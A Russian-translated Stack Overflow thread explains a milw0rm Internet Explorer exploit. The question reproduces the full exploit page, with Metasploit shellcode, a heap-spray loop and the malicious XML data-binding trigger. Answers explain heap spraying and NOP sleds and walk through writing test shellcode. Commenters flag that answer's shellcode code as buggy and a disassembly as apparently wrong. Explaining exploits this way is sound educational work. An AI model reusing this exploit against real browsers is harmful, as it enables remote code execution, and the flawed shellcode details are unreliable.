Как работает этот эксплойт с кучи milw0rm?

145

Я обычно не испытываю затруднений при чтении кода JavaScript, но для этого я не могу понять логику. Код взят из эксплойта, который был опубликован 4 дня назад. Вы можете найти его в milw0rm .

Вот код:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Вот то, что я считаю, что это делает, и я хотел бы, чтобы вы помогли мне за ту часть, которую я неправильно понимаю.

Переменная shellcodeсодержит код для открытия calc.exe. Я не понимаю, как они нашли эту странную строку. Любая идея?

Второе - это переменная spray. Я не понимаю эту странную петлю.

Третье - это переменная, memoryкоторая нигде не используется. Почему они это создают?

И последнее: что делает тег XML на странице?

На данный момент у меня есть хорошие ответы, но в основном очень общие. Я хотел бы больше объяснений значения кода. Пример есть unescape("%u0a0a%u0a0a");. Что это означает? То же самое для цикла: почему разработчик написал length < 0xd0000:? Я хотел бы более глубокое понимание не только теории этого кода.

javascript x86 exploit assembly Патрик Дежарден
источник
Вы должны изучить распыление кучи: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe
Как мы успешно запустили этот эксплойт? Должны ли мы запустить его в IE?
bad_keypoints

Ответы:

320

В шелл-коде содержатся некоторые инструкции по сборке x86, которые сделают эксплойт. sprayсоздает длинную последовательность инструкций, которые будут вставлены memory. Поскольку мы обычно не можем узнать точное местоположение нашего шелл-кода в памяти, мы помещаем nopперед ним много инструкций и переходим куда-то туда. memoryМассив будет содержать фактический код x86 вместе с механизмом прыгающей. Мы передадим созданный XML в библиотеку, в которой есть ошибка. Когда он анализируется, ошибка приведет к тому, что регистр указателя инструкций будет назначен где-то в нашем эксплойте, что приведет к выполнению произвольного кода.

Чтобы глубже понять, вы должны выяснить, что находится в коде x86. unscapeбудет использоваться для помещения последовательности байтов представленной строки в sprayпеременную. Это действительный код x86, который заполняет большой кусок кучи и переходит к началу шелл-кода. Причиной конечного условия являются ограничения длины строки механизма сценариев. Вы не можете иметь строки больше определенной длины.

В сборке х86, 0a0aпредставляет or cl, [edx]. Это фактически эквивалентно nopинструкции для целей нашего использования. Куда бы мы ни переходили в spray, мы будем переходить к следующей инструкции, пока не достигнем шелл-кода, который является кодом, который мы на самом деле хотим выполнить.

Если вы посмотрите на XML, то увидите, 0x0a0aчто он тоже есть. Точное описание того, что происходит, требует определенных знаний об эксплойте (вы должны знать, где находится ошибка и как она используется, чего я не знаю). Однако кажется, что мы заставляем Internet Explorer вызывать ошибочный код, устанавливая innerHtmlэту вредоносную строку XML. Internet Explorer пытается разобрать его, и глючный код каким-то образом дает контроль над местом в памяти, где существует массив (так как это большой кусок, вероятность появления там высока). Когда мы перейдем туда, процессор будет продолжать выполнять or cl, [edx]инструкции, пока in не достигнет начала шелл-кода, который помещен в память.

Я разобрал шелл-код:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Понимание этого шелл-кода требует знания сборки x86 и проблемы в самой библиотеке MS (чтобы узнать, каково состояние системы, когда мы здесь достигаем), а не JavaScript! Этот код в свою очередь будет выполнен calc.exe.

Мехрдад Афшари
источник
13
Я ценю эти усилия с вашей стороны за это объяснение. +25 репутации и все мое уважение. Спасибо
Патрик Дежарден
20
отличный ответ, но хороший господин - вдруг я не очень хорошо разбираюсь в компьютерах ;-)
username
50
Я поражен людьми, которым удается придумывать подобные подвиги. Если они достаточно умны, чтобы взломать чей-то банковский счет, они заслуживают всех денег, которые они могут украсть;)
Мартин,
8
Если бы была святыня хороших ответов для SO, это было бы в ней.
Сан Хасинто
6
Разборка кажется бессмысленной и совершенно случайной. Это не может быть правдой. Я пытался поменять местами байты, предполагая, что символы в строке были сохранены в порядке с прямым порядком байтов, но это не помогло.
Юхо Остман
10

Это похоже на эксплойт недавней ошибки Internet Explorer, для которой Microsoft выпустила экстренное исправление. Он использует изъян в функции привязки данных в обработчике XML Microsoft, что приводит к неправильному освобождению памяти кучи.

Shellcode - это машинный код, который будет запускаться при возникновении ошибки. Спрей и память - это всего лишь некоторое пространство, выделенное в куче, чтобы помочь возникновению эксплуатируемого состояния.

Тим Фарли
источник
Как вы думаете, что-то подобное может произойти с расширениями Chrome?
bad_keypoints
2

Каждый раз, когда я вижу память, к которой не обращаются в обсуждении эксплойта, я сначала думал, что эксплойт - это своего рода переполнение буфера, и в этом случае память либо вызывает переполнение буфера, либо к нему обращаются после переполнения буфера. ,

Брайан
источник
В этом случае это не было повреждение кучи, переполнение буфера на основе кучи или переполнение буфера на основе стека: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Грант Вагнер
0

Это из metasploit, это означает, что он использует один из кодов оболочки metasploit. Это открытый исходный код, так что вы можете пойти и взять его: http://www.metasploit.com/

др. злой
источник
0

Простой пример шелл-кода

Привет, мир в сборке. Синтаксис & t x86, я верю (Мастер в обучении).

настроить файл:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

скомпилировать так:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Теперь у вас есть двоичный файл, который печатает привет мир. преобразовать двоичный код в тип кода оболочки в:objdump -D shellcode

вы получите вывод: 

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Теперь, если вы посмотрите на 4-ю строку с текстом, вы увидите: 400078: eb 1a jmp 0x400094

часть, которая говорит, eb 1aявляется шестнадцатеричным представлением инструкции по сборке, jmp oneгде «один» - это адрес памяти вашей строки.

чтобы подготовить свой шеллкод к выполнению, откройте другой текстовый файл и сохраните шестнадцатеричные значения в массиве символов. Для правильного форматирования кода оболочки вы вводите \xперед каждым шестнадцатеричным значением.

следующий пример кода оболочки будет выглядеть следующим образом в соответствии с выводом команды objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Этот пример использует C для массива. Теперь у вас есть рабочий шелл-код, который будет писать в стандартный вывод "Hello World"

Вы можете протестировать код оболочки, поместив его в уязвимость, или вы можете написать следующую программу c для его проверки:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Для компиляции программы введите: 

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

у ./run вас есть рабочий пример простой разработки шелл-кода, который был протестирован в linux mint / debian.

marc_s
источник
1
Не используйте int 0x8032-битный ABI в 64-битном коде. Это не удастся для строк в стеке, потому что ядро ​​смотрит только на младшие 32 бита аргументов системного вызова. Что произойдет, если вы используете 32-битный int 0x80 Linux ABI в 64-битном коде? , (В этом случае вы создадите бесконечный цикл, потому sys_writeчто он вернется -EFAULTи mov $1, %alоставит верхние биты установленными, поэтому вы получите -ENOSYSвместо sys_exit). Кроме того, в 64-битном коде вы можете просто jmpпересылать строку и использовать RIP-относительный leaдля получения адреса вместо call / pop.
Питер Кордес
1
Это также не удастся для gcc, который по умолчанию создает исполняемые файлы PIE, потому что тогда даже ваш массив статических данных будет находиться за пределами младших 32 бит. (И кстати, если бы это было так, const char payload[]это было бы в текстовом сегменте (в разделе .rodata), и вам это не понадобилось бы -z execstack.)
Питер Кордес
1
Кроме того, movl 4, %raxсодержит нулевой байт (и не собирается из-за несоответствия размера операнда, и пропускает, $так что 4 является абсолютным адресом). Я думаю, что вы опубликовали раннюю версию своего источника. Мои предыдущие комментарии взяты из разборки, где вы добавили sys_exitвызов.
Питер Кордес